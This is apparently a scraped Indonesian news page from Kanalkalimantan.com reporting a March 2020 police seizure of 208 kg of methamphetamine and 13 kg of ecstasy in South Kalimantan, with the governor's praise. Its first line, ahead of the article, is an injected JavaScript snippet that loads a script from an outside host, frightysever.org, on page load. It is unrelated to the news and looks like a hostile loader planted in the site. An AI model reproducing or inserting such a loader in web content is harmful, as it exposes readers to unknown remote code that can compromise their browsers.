(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Keberhasilan jajaran Dit Resnarkoba Polda Kalsel dalam mengungkap peredaran narkoba jenis sabu seberat 208 kilogram dan ekstasi seberat 13 kilogram mendapat apresiasi Gubernur Kalsel H. Sahbirin Noor. Ini terlihat dengan kedatangannya dalam press conference pengungkapan tangkapan terbesar ini di Aula Bhayangkari Mapolda Kalsel di Banjarmasin, Senin (16/3/2020).
Paman Birin -sapaan akrabnya- mengatakan, peredaran narkoba merupakan suatu kejahatan internasional atau trans national crime. Di mana, menurut Paman Birin, hal ini mendapat atensi dari Presiden RI Joko Widodo dan Kapolri.
“Kejahatan narkoba menggunakan modus operasi yang tinggi, didukung oleh teknologi canggih, jaringan organisasi yang luas dan sudah banyak menimbulkan korban,” katanya.
Menurutnya, pemberantasan narkoba memerlukan dukungan bersama dari semua pihak, tidak hanya unsur kepolisian dan BNN. Serta meninggalkan ego sektoral untuk membantu melawan kejahatan narkoba.
Paman Birin pun tidak menyangka, jajaran Dit Resnarkoba Polda Kalsel berhasil mengungkap peredaran narkoba jenis sabu dengan berat 208 kilogram ditambah ekstasi seberat 13 kilogram di Bumi Lambung Mangkurat. “Luar biasa. Karena upaya peredaran narkoba ini adalah upaya menghancurkan suatu bangsa,” tegas Paman Birin.
Orang nomor satu di Bumi Lambung Mangkurat ini mencoba flashback dari ungkapan kasus narkoba sepekan sebelumnya dengan berat 22,7 kilogram. Sedangkan hari ini, jajaran Dit Resnarkoba Polda Kalsel kembali berhasil mengamankan 208 kilogram sabu. Ia berujar, jika jumlah narkoba yang berhasil diamankan aparat kepolisian ini sempat beredar di masyarakat, ia tidak bisa membayangkan dampaknya yang dirasakan oleh masyarakat.
“Kita hari ini sangat berterimakasih kepada jajaran penegak hukum, khususnya Polda Kalsel. Hasil ini memberikan dampak kepada rakyat kita bahwa kita sedang serius melawan narkoba,” ucap Paman Birin.
Dalam press conference kali ini, selain Paman Birin, juga dihadiri sejumlah pejabat dan tokoh agama/masyarakat. Seperti Ketua DPRD Provinsi Kalsel H. Supian HK, Kajati Kalsel, Danrem 101 Antasari, Danlanal Banjarmasin, Danlanud Sjamsudin Noor, Anggota DPR RI Habib Aboe Bakar Al Habsyi, Anggota DPRD Provinsi Kalsel Rosehan Noor Bahri, tokoh agama KH. Ahmad Zuhdianoor atau Guru Zuhdi, tokoh lwrs HG (P) Rusdi Effendi AR. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.